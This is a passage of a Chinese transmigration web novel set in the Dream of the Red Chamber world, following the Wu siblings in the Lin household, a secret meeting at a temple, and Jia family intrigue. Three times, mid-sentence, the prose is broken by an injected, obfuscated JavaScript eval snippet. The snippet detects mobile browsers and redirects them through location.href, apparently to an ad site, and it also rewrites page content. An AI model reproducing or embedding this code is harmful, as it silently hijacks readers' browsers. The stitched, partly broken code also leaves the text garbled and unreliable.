“笑话倒是没看,林管家这是借我们兄妹的手清除异己呢吧,一举两得,哪里老了。还请跟老爷说,我们兄妹既然认回来了,以后就是林家人,万不会更改的。”说完,邬桐起身,对于内宅仆人间的阴司没兴趣插手。 无外乎是有些管事心大了,触动了林管家的利益,林管家利用这次机会给这些人找挂落呢。只要以后别算计他们兄妹三人,她可以睁一只眼闭一只眼。 林管家弯腰行礼,恭顺无比,等这位顾奶奶消失在门口了,才直起腰来。这威压,比先时的太太还大呢。太太那是正经的国公府小姐,这位可从小在穷乡僻壤长大的。看来有些人,天生就是会辖制人的。 他玩的这一手并不高明,聪明的一看就能看破,可谁让那些人不聪明,还偏偏贪心呢?这不都乖乖上钩了嘛。老爷授意,他私下做些小动作,没想到被这位姑奶奶看破了。 那些没被选上的小姑娘们,有聪明的自然听懂了邬桐的话,瞬间脸色苍白,恶狠狠地下死劲儿剜了林管家两眼,甩袖离开。那愚笨的,缠着林管家不撒手,这收了礼不办事可是不行。 林管家怕邬桐,能怕这些人?对着离开的背影冷笑两声,扬声吩咐一旁矗立着的小厮:“还不把人都送回去?在这里乱糟糟的算怎么回事?我还得给老爷回话呢,晚了是你们担着还是她们能担着?” 旁边小厮们本来在看笑话呢,这么些打扮得花枝招展的大姑娘聚在一起,谁不爱瞧啊。可一听到担责任,立马怂了。肯牡丹花下死的毕竟是少数,况且这些也称不上牡丹不是。没一会子功夫,林管家就到前院林如海的书房,将这里的事情如数告知了。 林如海手里正卷着一本书在看,他虽是朝廷大员,公务繁忙,可光师爷就养了十个,更不要说那些能写会算的清客了。因此他平时看看书,品品茶,日子可悠闲着呢。听着心腹管家的汇报,书也放桌上了,腰也直了,眼睛也有神采了,不等林管家说完,就哈哈笑个不停。 “我林家有望了,我林家有望了啊。” “老爷您说的是。”林管家也笑呵呵地,眼眶微红。他虽然有私心,但作为林家五代忠仆,自是希望主家永远兴旺下去的。 “好了,那些试探都收起来,跟黛玉一样,当正经的林家主子待。说不得,以后黛玉还得他们三人护着呢。”说到这里,林如海眼眶也红了,嘴唇有些颤抖,“林家有如此良才,得好好谋划才是,以后我可得勤政,再不可如此混日子了。” 6. 古木寺 邬家三兄妹忙着在林家适应少爷小姐的生活,另一边,柳琼在扬州采买了三日,大小店铺逛了近百家,终于采购齐了货物。 周瑞有其他差事要办,贾家的船六日后才出发,柳琼便假意在扬州四处游玩,古木寺还愿那日,怎么也得跟桐儿见上一面。以后的日子怎么过,两人还得好好合计。 古木寺位于扬州城南,并非古刹,但在扬州城香火鼎盛,庙宇修得恢弘舒展,颇有气势。 据称当年修建时,老主持不愿砍伐山中古树。古树才是山中灵长,是山林的主人,而寺庙乃是外来,焉有外来客欺负本地居户的道理? 可大雄宝殿的一处房梁,需要长三丈的大梁才可,扬州城中一时还真找不到木料。工头找老主持商议,说是没有这房梁,宝殿可就盖不起来了。 老主持无法,当夜设了香案,给那参天古木念了一晚上的往生经。谁知刚收拾好,转身准备离开时,熄灭的香案上,青烟只冲云霄,参天古木应声而倒。一旁围观的工头和沙弥被虎得纳头就拜,自从众人都把老主持当神仙一样供着。 此时在扬州城人尽皆知,众人皆称古木有灵,老主持乃受神仙眷顾之人。寺庙原来叫什么不得而知,就古木寺古木寺的这么叫着,香火旺盛得紧。 柳琼在寺庙里溜达了一圈儿,这庙着实不小,占地能有百十亩,红墙绿瓦,比京郊的大寺也不遑多让。来来往往的信男善女不少,磕头的、抽签的、听僧侣讲经的,络绎不绝。 柳琼不在前殿纠缠,要了一个禅院,包了五日,为家人祈福。这个业务知客僧熟啊,每年寺庙的收入里,香客留宿是占比很大的一项,仅次于寺庙每年的香油钱,不老少呢。 知客僧很快就给柳琼安排了一处齐整的禅院,住着吧,古木寺禅院可舒服着呢。 柳琼溜溜达达地跟在小沙弥身后,就这么进了古木寺的后院。不愧是扬州城的寺庙,茂林修竹,怪石嶙峋,后院比之江南园林也不逊色。 选定了前院和后院分界的一处假山,作为接头地点。不论届时林家的后院儿被安排在哪处院落,这个假山都是必经之地,是最适合作为参照物的了。选定后,柳琼当日悄悄回了林府递消息。 第二日一早,兄妹三人吃过早食,给林如海请安。林如海身着雪青色长衫,端坐在云纹圆凳上吃早饭,见三人来了,笑着点头让坐:“知道你们吃了饭来的,先坐这里,喝两口稀饭吧。多少陪我用些,多少年没人陪我一起用饭了,都不知道有小辈陪着是什么滋味了。” 都这么说了,还让人怎么推辞。三人对望一眼,邬桐一肚子兴师问罪的话憋在心里,那个难受啊,得,什么都不说还不行嘛,吃饭就吃饭。还别说,林家的粥真是碧粳米熬的,那个香啊,邬桐不争气地喝了两碗。 吃罢早饭,七八个小丫头低着头,捧着漱口的浓茶和漱盂进来,四人接过漱口。一套流程下来,什么气儿都消了,林如海这才起身,带着三人去后面的书房。 刚分宾主落坐,就有小丫头捧着热茶上来。邬桐低头拿茶杯时,瞥见茶托和茶杯之间露出的一小节纸条,心砰砰直跳。明日就去古木寺了,柳琼这是想到接头的地点了? 面无异色地品着茶,又呆了能有一炷香功夫,三人才告辞回了小院,邬桐借口身子不舒坦,躲进屋里,展开纸条,看着上面的密语,第一次露出发自内心的笑。 末世时,她和柳琼相依为命,彼此早就是不可分割的一部分。当日被虫族攻击,她忙着救治伤员,是柳琼不顾生死挡在她的面前。 纸条不必拿在手里,上面的密语只有她能看懂,就是泄露了也不怕的。 很快就到了林如海休沐的日子,一水儿的青绸布马车,浩浩汤汤出了巡盐御史府。好些扬州城的百姓沿路看热闹,指指点点地,都知道这是林家的公子小姐,要去古木寺还愿呢。 这几日扬州城都传疯了。林家接回寄养的庶子庶女的事儿,几乎人尽皆知。说什么的都有,有信的,不然谁家把孩子一个不留都送到别家去?更多的人则是挤眉弄眼,这事儿要不是贾家那位夫人的手笔,才真是见鬼了呢。 邬桐掀开车帘,看着不远处窃窃私语的百姓,心内纳闷儿:林家内宅的事,怎么好像大家都知道了?林如海也不像是不会治理下人的人啊。 那这是林如海让人放出的消息?为了什么,打贾家的脸?打贾敏的脸?同时向皇上表明,他为了配合皇上,甘愿背上连内宅妇人都辖制不住的名声? 邬桐放下车帘,摇摇头。这里面的弯弯绕暂时不去想,等晚上接头之后再说。 晃晃悠悠了两个时辰,才到了古木寺。树林静谧幽深,不愧古木之名。马车直接进了女眷所在的禅院,邬桐被送进了诵经室。 大肚弥勒含笑,无悲无喜。 邬桐闭上眼睛,穿越一回,让她多少对未知的事物有了敬畏之心。佛教对不对她不知道,虔诚些,不蔑视,不轻信,不妄动,算是她现在的态度。 诵经、吃斋饭、在禅院住下。等大家都睡熟后,邬桐起身去约定的假山。路上遇到人也都被邬桐消去了记忆,颇是有恃无恐。 柳琼摇摇头,看着大摇大摆过来的邬桐,鹅蛋脸,柳眉修目,顾盼神飞,是个很精神的长相,只是这张扬的气势啊,柳琼无奈地说:“你也太没顾忌了。” 邬桐不理柳琼的找茬,上下打量了一圈儿,暗自撇嘴,还是个书生样儿:“空间还在?” 见柳琼点头,才拉着人坐到假山后的石凳上,将原身的情况一一告知,“你放心,我如今异能升级了,能改写人的一部分记忆,不会出事的。那邬家怎么也得给个教训,只是我还没想到方法。 你鬼点子多,帮着原主报复下邬家,也算是报了穿越的恩了。” “放心吧,这次你们活着,邬家在皇上心里挂了号,以后得不了好,不用我们出手也会自食恶果的。” 柳琼怕邬桐仗着异能不知深浅,且以后肯定要时常联络,便道:“进了京城后你先在贾家呆着,我会找机会联络你的。只管先安心过日子,外面的事交给我。” 见邬桐瞪眼,柳琼哄道:“好了,知道你能干。可如今这个时代,女人做太多会引人怀疑的。等以后咱们成亲了,你想怎么做都依你,只是如今你还顶着林家人的身份,别再害了无辜的人。” 邬桐顿时蔫了,眼眶微红,将前些日子人贩子的事告诉了柳琼:“都是我太鲁莽了。我本来是想救人,却没想到因为我,她们死了。” 柳琼神色严肃,将邬桐搂进怀里,一下一下拍着,细细说起身上异能的变化:“你放心,我这里物资和武器都不缺,想做什么我都能给你兜底。 不过谨慎些是对的,我们对这个世界的规则还不熟悉,轻举妄动的结果可能就是人命。 这样吧,成亲前先不要轻举妄动,没人查缺补漏,小心出什么差子。 这一段时间就用来看看史书,熟悉熟悉这个世界,成亲之后咱们再商议,如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100321|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邬桐点点头,人贩子的教训够她喝一壶的,哪里还敢轻易行动。 “好了,看我给你带什么好吃的了。”看邬桐神情难过,柳琼赶紧转移话题,“不是想吃枣泥山药糕,看,我专门去扬州的点心铺子买的。”说着,从腰间的钱袋里,掏出被手帕裹着的两块点心。 末世,最后一次执行任务前,邬桐对着《红楼梦》中,秦可卿生病时吃的“枣泥馅儿的山药糕”感慨:“也不知道纯正的野生山药和红枣什么味儿。” 末世,这两样食物都已灭绝,他们吃到的食物,都是工厂里各种添加剂生产出来的,真没吃过纯天然无污染的食物。 邬桐噗嗤笑一声,亏这人还记得。伸手捻了一块,放入口中,含混道:“你说,是不是死之前看过红楼,才来到这儿的?” 看邬桐脸色和缓,柳琼心内松口气,又调笑了两句。怕邬桐忘了《红楼梦》的剧情,趁着吃糕点的空档儿,柳琼还将原著和一些疑点都说了。直到天都快亮了,两人才依依不舍地分道扬镳。 又在扬州盘桓数日,柳琼临走前,邬杨作为林家长子送了出来,还拿出一张林府的名帖给到柳琼:“琼大爷,这是家父让给你的,日后有事只管上门来。” 柳琼这回是真的受宠若惊,他没怎么跟林如海接触,刚来那日也只是略说了几句话,怎么就入了林如海的眼了?接过名帖一看,上面竟然还有桐儿的暗语,告诉了他林家船只的出发日期,也不知道她什么时候加上去的。 自然是在邬杨去小院儿换衣服的时候加的。只是邬桐也不知道林如海为何这么看重柳琼,还特意送了名帖。 殊不知,林如海派人跟了柳琼两日,见他虽亲自做古董的营生,却不贪酷,办事也有章法,难得的是,看中的古董都是真货,知道这是个懂行的,自然惺惺相惜。 这名帖送出去,也是试一试柳琼的秉性,如果可用,帮上一帮也未为不可。 这边柳琼和周瑞刚走,林家的船也收拾得差不多了,金银玉器、古玩珍宝、绫罗绸缎应有尽有,就是小厮管事、大小丫鬟、教养嬷嬷都有不下四十人,浩浩荡荡等着出发。 临行前一夜,邬杨思考良久,还是决定将事情原原本本告诉了桐姐儿和柏哥儿,免得两人不知轻重被人利用了。 “那枚扳指,十有八九是太子送给他在外面的儿子的,你们可知为何宁国府承重孙的媳妇儿,只是个工部营缮郎之女?那是因为四王八公都清楚,她是太子的女儿,是皇亲国戚。” 见两人疑惑,邬杨将事情推给了贾府陪嫁来的嬷嬷们:“嬷嬷们平日里最爱唠叨贾府的事,经常说宁国府糊涂,娶个小官儿之女什么的。 我就琢磨其中必有门道,前些日子邸报里有申斥太子之语,说是荒淫无道,我就大胆猜了猜。 如果我猜的没错,那这个扳指的主人,八成是个男的,不然怎么一直不见露面。二伯八成是发现了什么,不好亲自上京面圣,才偷偷把扳指给了我,让我给三王爷。 如果是真的,邬家大房八成是参与到大事里去了,到京之后如果遇到邬家人,你俩万万不可心软,我们林家人的身份是皇上御赐的,不到万不得已,决不能承认是邬家人,明白吗? 我们是御赐的林家人,也只能是林家人。” 邬桐心内的震惊一点儿不比初次听到的邬柏小。谁说纸片人单纯的?大哥邬杨这智商,她就是再活八辈子,也赶不上啊。她都怀疑,邬杨是不是也被穿了,不然怎么这都能猜到。 7. 贾府众人一 荣国府正房荣禧堂内,史老太君鬓发如银,高坐在太师椅上,倚着石青金钱蟒靠背,座下是秋香色软缎大条褥,端是华贵异常。 只是老太君脸上的神色并不多欢喜,短暂的愣神过后,兀自伤感起来:“都是敏儿那丫头舍不得,不然早早送来,何苦让寿儿送了命去。可怜我那嫡嫡亲的外孙子,竟是三岁上就死了,我这外祖母竟是连见都没见过。” 说着揩一把眼泪,搂过哭得快背过气去的黛玉,安慰道:“莫要伤心,等你哥哥姐姐过来,外祖母自是当你一般疼爱。” “凤丫头,还不吩咐下去,快收拾出一个齐整院子出来,好安排你林家表弟表妹。”贾母摩挲着黛玉的背,扬声吩咐。 王熙凤一身正红翡翠撒花百褶裙,头上环佩叮当,当真是神仙妃子一般,觑着贾母脸上神色稍缓,这才敢高声说笑:“我就是那等着老太太言语,才会动一动的蠢笨之人? 好说给老祖宗听,百花堂已收拾出来了,就在府里东南角上,开着个角门和外面相通,林家表弟表妹要是想和府外来往,从那里出去再便宜没有了。 况且百花堂里都是国公爷当年赏玩过的奇花异草,最是尊贵不过的,老祖宗尽管放心就是。” “很是。”贾母点点头,对众人感慨,“不怪我疼她,什么事儿都能想到我前头去。你们问问自己个儿,可曾这么周全不曾?” “老祖宗看中的人儿,自是再妥帖没有的。”尤氏酸溜溜地恭维道。 “您就是太疼她了。”王夫人淡淡地道。 “凤丫头是色色周全的,只是按着林妹妹的行事,林家表亲该是更喜梅兰竹菊的,只捡各色文竹搬过去赏玩就罢了。”薛家宝钗插话道。 王熙凤按捺住心内的不喜,也不搭话,只当没听见。老太太叫她凤丫头,那是老人家亲近,一个身份比她还低的未出嫁的姑娘,整日凤丫头凤丫头的叫,还真把自己个儿当盘菜了。真是笑话,我王家就是扫扫地缝儿,那金子都比你薛家的金贵。 什么皇商,不过就是行商门户,也敢在这里撒野。 这边王熙凤心内生着气,老太太贾母丝毫不觉,只随口吩咐道:“琼儿下去吧,可怜见的,琏儿,多赏他些银子,自家骨肉,原该多疼些。” 柳琼拿着二十两的表礼,战战兢兢地下去了,虽说见到了女神,但这贾家还真是没规矩得紧,他一个出五服的外男,这么多媳妇姑娘的也不避一避,传出去可不好听。 直到出了贾府,他才敢擦汗,幸亏他现在寂寂无名,否则一个私闯内宅的帽子扣下来,在这个时代官儿都别想当了。 女神啊,你可长点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100322|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿心吧,希望林家的教养嬷嬷们给力些,否则他和邬桐就是再想帮林黛玉,有了不好的名声,他们也不好施展啊。 到家后,柳琼将表礼中的二十两白银给了母亲刘氏,绢花给了妹妹四姐儿,砚台给了弟弟贾瑾。一家人围坐在柳木圆桌前,你看看我,我看看你,瞪大了眼睛难以置信。 第一次拿到儿子的孝敬银子,刘氏眼眶都红了,黑眼珠在白花花的银子和向来不靠谱的儿子身上游移,只等着儿子开口提要求。 柳琼叹口气,原主的不靠谱是有多深入人心啊。只得开口将想在外祖家附近卖古董的事情说了:“外祖父和舅舅们都是小吏,不缺银子,但是却缺这些提身份的古董。 儿子这次去江南采买了很多古扇、瓷器,价格不算贵,都是从江南倒腾回来的真货。小吏们买最合适,您带着我回一趟外祖家,跟舅舅们好好说说,大不了算他们一成份子,如何?” 听了这话,刘氏反而松了一口气。她娘家只她一个女儿,自来父母哥哥们都疼她,这点事儿回去说肯定行,只是...... “你那些都是真东西?不是糊弄人的?” 就看原主的信誉吧,连亲娘都怀疑他不学好。柳琼无奈,少不得用些古人的手段,赌咒发誓一番,才让母亲刘氏勉强答应明日带他回趟娘家。 8. 贾府众人二 这边,林黛玉带着紫鹃,泪汪汪地出了荣禧堂,回到东侧的小跨院儿。 “姑娘,您可不能再哭了,要是传出去,还以为您不高兴有哥哥姐姐呢。”紫鹃掏出手帕,劝解道,“如今林家有了后,姑娘您的事儿得留心了。万一姑老爷为了两位公子的前程,将您随意许配给不知根底的人家,那可怎么得了。” “呸。”林黛玉擦擦眼角,先还认真听着,越听越气,将手帕扔到紫鹃脸上,“你在我身边这么多年,竟还将我爹称为姑老爷,想来还是恋着这边,觉得我们林家的门第配不上你。罢了,等哥哥姐姐们来了,我跟着去林府里住,不好耽搁你的前程。” 林黛玉是“心较比干多一窍”,怎会是蠢笨之人。之前她孤身一人,紫鹃时时以贾家的口吻劝慰,她没底气反驳,如今有了哥哥姐姐,她又怎还会再忍。 “姑娘。”紫鹃啪一下跪在青石板上,脸上震惊不已,“我都是为姑娘好啊,您与府上知根知底的,亲上做亲,岂不好?” “雪雁。”林黛玉气得面色通红,一边大口喘气,一边扬声喊,见人进来了才再次开口,“咱们扬州带来的嬷嬷们可还在?将紫鹃看管起来,没有我的吩咐不许紫鹃出来。别人问,只说紫鹃病了,不便见人。” “好的。”雪雁虽然年龄小,却是林家的忠仆,见姑娘不再吩咐,出去找到了林家带来的嬷嬷们,将紫鹃带下去不提。 且说贾母这边,孙儿孙女们退下后,她呆坐良久,脸上寒霜遍布,再不见刚才的慈悲和煦。大丫鬟鸳鸯低着头,不敢发出半点儿声响,半晌才听老太太道:“请太太过来。” 鸳鸯轻轻后退,待出了门,脸上才勉强挂上些笑,深吸几口气,迈步去请二太太王氏。 “母亲。”稍倾,王氏坐在下首的绣墩儿上,小心翼翼地开口,不敢多说一个字。 后宅的那些阴私,她是清楚的。小姑子在府里就不是个好性儿的,嫁入林府又怎会忍气吞声。这么多年,愣是没听过姑爷有庶子庶女。这下子,冷不丁冒出来三个,只要稍微明白些事情的,都能猜到是怎么回事。 没看凤丫头今儿,都不敢任性说笑了嘛。 “大丫头有信儿没?”贾母沉吟良久,问道。 “没,东宫半年多都没消息了。”王夫人也忧心,当年送元春去东宫,本想奔个前程,谁知这么些年,也没听说承宠。这次更是半年多都没信儿,她是日夜忧心,深怕出差错。 “再送些银子进去,阖府可都靠着大丫头呢。”贾母闭了闭眼,深感无力。当初接黛玉进京,就是想配给宝玉,有林如海这个岳父,宝玉再怎么也差不了。 偏这个木头儿媳,因为和敏儿闺中时的那些口角,竟然百般不愿意。 现在林如海找来了庶子庶女,日子有了奔头儿,想来身子骨再不会如传闻中那样差了,日后如何,可是她这个老太婆能控制不了的了。 “下去吧。” 王夫人起身,欲言又止。她何曾不想送银子,可是王太医那条线就像断了一般,消息传不进去,也没消息传出来。当初王太医是贾母安排的,内里如何,也只能问贾母了。 没听见离开的动静,贾母缓缓睁开眼,问道:“有事儿?” “母亲。”王夫人再次坐下,面色愁苦,“王太医那边使唤不动了。老爷说,前几日邸报上,皇上申斥了太子。” 贾母面色微变,王太医是老国公爷的旧友,曾在战场上救过国公爷的命,后来国公爷给他小儿子谋了个官职,还了人情。之后一直有往来,算是通家之好。 说是她安排的,其实王太医是看在国公爷的面子上。如今国公爷早早去了,竟连一个太医都不卖荣国公府的面子了吗? 贾母心内翻涌,只觉凄苦无靠。她都七十上的人了,还得为儿孙筹谋。如果老国公在,她只安享富贵就行,哪里会像如今这般艰难。 “天家的事不是咱们能议论的。再说,做老子的训斥几句儿子,有什么大不了的,慌什么。去找老道士来。”贾母咬咬牙,硬撑着开口。 张老道是国公爷的替身,连皇上都信重,想来是真有些本事在身上的,有些事儿少不得要托给这老道。他时常出入各府内宅,消息灵通,大丫头的事说不得也知道一二。 张道士能知道什么,他不过是一老道。历来皇家利用和尚道士,不过是为了树立正统,好绝了邪魔外道的路,如何肯让他们参与其它。 不过张道士能被皇上御赐“张真人”的名号,心里也是有成算的,听了贾母的请托,话在心里过了几遍,才开口:“皇家的事自来是不能随意揣度的,就是那后宅之事,历来也都是密辛,如何敢挂在嘴边。 不过笨想想,没有消息就是好消息,老太太太太琢磨琢磨这个话,是不是安心许多?” 这边张道士扔下几句似是而非的话,贾母和王夫人还没琢磨过味儿来,赖嬷嬷一扭一摆地,要进正屋跟贾母说笑。 好巧不巧的,邬家也在这日来报丧。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100323|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来邬家下人早四五日就到了。只是贾家门子比七品官儿都矜贵,没喂饱人,谁给他们往里面报信儿。因此上,耽误了好些日子,今日才进到门里。 赖嬷嬷是个乖觉的,能在贾府下人堆儿里称王称霸,就不是个没城府的。她也不进去,只在院子里,抓着几个小丫头子们训话。耳朵却时刻支棱着,不放过屋里的只言片语。 “好叫老太太知道,大公子邬杨坐船赴京赶考,路上遇到倭寇袭击,竟是没了。二公子邬柏身子骨本就弱,听闻噩耗没撑住,也跟着去了。” 邬家来人是婉姨娘的心腹,四十上下的老嬷嬷,眼珠子在屋内滴溜溜转,将富贵荣华都收进眼里,心内只一味钦羡,声音哪有半点儿悲痛。 不过贾母对庶长女本也就是个面子情,出嫁后就没派人过去看过一次,听见信儿也只点头称知道了,并不当回事儿。 那管事儿嬷嬷舔着脸继续说:“老爷和婉姨娘怕老太太伤心,特意派了府里最会做蛇羹的厨娘过来,好让老太太纾解纾解。邬家蛇羹在南海可是一绝,还请老太太赏个脸,尝尝邬家的手艺。” 说着起身,躬身将厨娘的身契奉上,半点儿不拿乔。 贾母心内一动,太子是个会享受的。通州码头,东宫的船来来去去,听说都是外出采买新鲜食材的,每年好大一笔银子的开销。如今有了蛇羹这个由头,说不得能利用一二。 “也是那俩孩子没福。”贾母示意鸳鸯将人扶起来,声音带上几分悲戚,“早些年攸儿没了,我就说幸好留下个根儿,没想到如今连这个念想也没了。” “能得老太太您这一句,就是夫人的造化了,哪里敢让您伤心。”邬家嬷嬷赔笑。 贾母擦擦不存在的眼泪,关心地询问:“那姐儿怎么样了?可还好?” “好,好。”邬家嬷嬷赶忙回道,“婉姨娘不错眼儿地盯着,当眼珠子一样疼呢。等过两年送过来,好给老太太尽孝。如今初闻噩耗,桐姐儿伤心,未一起过来,还请老太太勿怪。” 贾母点点头,端起茶慢慢品了一口。鸳鸯会意,将邬家嬷嬷请出去,旁边的王夫人这才舒了口气。 正经的小姑子贾敏她都不怎么走动,对这个隔了肚皮,仅仅只是礼法上的大姑子,历来是问都没问过一句,只当是个陌生人,听见信儿就完了,半点儿没往心里去。 “你也下去吧,我得琢磨琢磨怎么办。”贾母不理儿媳焦急的眼神,吩咐道。如何利用蛇羹敲开东宫的门,她得好好谋划谋划。 9. 蛇羹及入贾府 原身贾琼的外祖家,住在京城东南方的锁儿胡同,据说这里曾经住过一家工匠,专为宫里制作铜锁,在京城极为有名。号称他们家的锁,就是天上的神仙来了,没有钥匙也休想打开。 胡同原本的名字早就被人淡忘,大家都锁儿胡同、锁儿胡同的叫着。 刘家说是小吏,其实是九品的武官,隶属五城兵马司,专管在花街柳巷一带巡逻。虽不入流,油水却足得很。这刘家的爷孙几个都精明,祖孙三代也不往上爬,上下打点,一心趴窝在几大胡同里。 想想花街柳巷的产业吧,酒坊、妓院、暗门子,哪个不赚钱,哪个不是销金窟?刘家微末小吏,却是现管。这些产业背后虽有人撑腰,但也不能很得罪了现管不是。因此刘家属于那种,外面瞧着上不得台面,内里其实油水很足的人家。 柳琼当日说的那番让小吏提身份的话都是诳刘氏的,他打的主意就是通过舅舅们,将带回来的玩意儿卖给这些花街柳巷的铺子,如此才能利益最大化。 这不,刘氏带着儿子刚进了刘家三进的四合院,原身外祖母孙氏就大踏步地迎了出来。头发花白,脚步却有劲儿得很,一把拉住柳琼的手,上下不住地打量:“可怜见的,这是瘦了多少!你娘也是不懂事,病了就跟我说嘛,就是百年的人参,外祖母也能掏空家底儿给你买去,何苦现在才来,这不是掏我的心窝子嘛。” 说着狠狠剜了糊涂女儿一眼。三个儿媳妇面面相觑,低着头应也不是,不应也不妥,只得尴尬地杵着。 柳琼一看这不行呀,回外祖家是来结交的,可不是得罪人的。立即笑嘻嘻地回握住孙氏的手,边往正屋走,边说:“外祖母疼我,我怎么不知。 是我让娘别知会您老人家的。不是什么大病,哪里就需要人参了。您那体己银子,留着给我那几个小表弟买糖葫芦吃,岂不是好?” “琼小子就是惹人疼。” 这个称呼听得柳琼牙疼,他可不就是穷小子嘛,还是上门打秋风的穷小子。 到了正屋,分宾主入座,正叙寒温,表哥刘衡穿着灰色兵士服,大摇大摆地进来:“姑妈,您怎么来了?呦,琼哥儿病好了?这是拿的什么好东西,想给哥哥送礼?” 孙氏这才注意到女儿刘氏放到茶兀子上的一个包袱,想训斥两句回家带什么东西,就听琼哥儿开口:“表哥,弟弟有事找你。咱们去你屋里说话?” 记忆里,这个表哥是个妙人。花街里没按时“上贡”的店家,准保日日会有小乞儿上门唱莲花落,上贡后一切顺遂。不仅如此,上贡的店家被人找麻烦,那找麻烦的人,隔日就会被泼了脏水。物理意义上的脏水,街坊四邻被熏得三五日没法吃饭的那种。因此花街上的人对刘衡是又爱又恨。 柳琼觉得刘衡可以用上一用,第一,这个人能控制乞儿。就算是京城,乞儿也一样不少。这些人用好了,传递消息不成问题。 第二,这个人有底线,知道拿人钱财替人消灾的道理,不是泼皮无赖。 第三,也是最重要的,花街柳巷历来是消息最灵通的地方。朝臣、士绅、甚至是高门大院里有些银钱地位的奴仆,都会去那里消遣。 有这三点,就够日后筹谋了。 当然,这些想法也只是很快在脑海过了一遍,外祖母孙氏听琼哥儿说的恳切,忙扬声吩咐孙子刘衡:“琼哥儿小孩子家家的,有什么事儿你这个做哥哥的可不能推脱。” 说完拍拍柳琼的手,慈爱地道:“外祖母也不问你有什么事儿,只管出去和衡哥儿说话,他要是不答应就找我,外祖母给你做主。” 三个儿媳尴尬地笑笑,她们对小姑子真没什么意见,这小姑子从不会提什么无理的要求。只是老太太每次这么明晃晃地偏爱,让人心里不大得劲就是了。 柳琼拿上包袱,快速地拉着表哥出正堂,再呆下去,可就真得罪几个舅妈了。 作为兵丁,刘衡的力气自是柳琼不能比的,他动也没动,对着祖母孙氏嬉皮笑脸:“祖母,可不带您这么偏心眼儿的。您那体己银子,我可再不给了啊。” “你个臭小子,祖母什么时候要你的银子了。还不都给你买成了地存着,不知好歹。快走,要是欺负琼哥儿,看我不让你爹揍你。”孙氏气哼哼地开口。 刘衡嘿嘿笑两声,老太太虽偏疼姑妈,但从没扒着儿子贴补,他也只是逗老人家罢了。转身带着柳琼进了卧室,吊儿郎当地跨坐在交椅上。 还没问什么事,就见表弟一个个往外掏扇子和玉牌,刘衡欠儿欠儿地开口:“怎么,想卖我假货?表弟啊,你跟那贾瑞厮混,哥哥也懒得管了,但是卖假货坑人的事不成。 哥哥在那种地方能混开,靠的就是义气和信用。坑蒙拐骗的事情可以做,但得看是对谁做了,你可明白?” 柳琼又为原主背了一次锅,他也不辩解,指着几个古扇道:“哥哥只管找人查验,要是假的我再也不登外祖家的门,如何?” 见柳琼话说的郑重,刘衡这才认真打量起桌上的古扇。趁这功夫,柳琼才继续开口解释:“我前些日子去了趟江南,这些都是从扬州倒腾过来的。 不是什么名家,但是在花街里装装文雅是尽够的。哥哥要是能卖出去,算你三成份子,如何?以后有了好东西,自然还是找哥哥。” 刘衡放下扇子,摆摆手:“我也不要你的份子钱,只要你学好,让姑姑和奶奶少操些心就行。扇子放这吧,天也快热了,那地方正到处买新扇子呢。你这几把看着还凑合,我找人看看,有消息自会派人去找你。” 柳琼这才起身拱手:“多谢大哥。我那里还有好些,下午就给你送来。” 谁知下午刚从外祖家送货回来,就被来宁荣街闲逛的卫若兰请到了茶楼。 “琼大爷,那贾府的蛇羹,竟真如此美味不成?”卫若兰给柳琼倒一杯酒,好奇地问道。今日一早,卫若兰就在宁荣街附近的茶楼转悠,想要找个由头去贾府尝尝这蛇羹。 近两日贾府摆宴,南安郡王、东平郡王、西宁郡王、北静郡王四府的王妃都来尝了这蛇羹,只说用稀奇的白菊搭配蛇羹,馥郁清冽,非比寻常。闹得满京城里无人不知无人不晓,卫若兰作为大家旁支,自是想瞧瞧热闹。 今日好容易看见个贾家得脸的爷们儿,怎么也要套套近乎才行。 柳琼哪里不知道他的心思,只是他也不知道贾家这般行事是为何。按说《红楼梦》里的太子应该是被废且还死了的,不然不会有义忠亲王老千岁这么个人,但是如今大家口里都言说太子如何如何,那现在是还没废?贾元春还在东宫服侍? 既然如此,将这天上有地上无的蛇羹进献给太子就是,在这里闹妖作甚。只能是......递不进去消息,想造势?可贾母也不想想,为何递不进去消息,只一味的造势有何用。 递不进去消息本身就是问题,柳琼心内腹诽,嘴上敷衍着卫若兰。卫若兰是大家旁支,书里是史湘云的官配。如今看来应该比史湘云大个六岁的样子,是个长相俊秀的公子哥,只是最后如何不好说。 如今他和邬桐都来了,剧情也改了许多,怕是结局早就偏离了主线。 “南海的蛇羹自是不俗的。”柳琼对着南边拱拱手,笑着道,“邬家是贾家的姻亲,送来的厨娘岂能不尽心?据说老圣人当年巡视南海,也对邬家的蛇羹赞不绝口呢。” 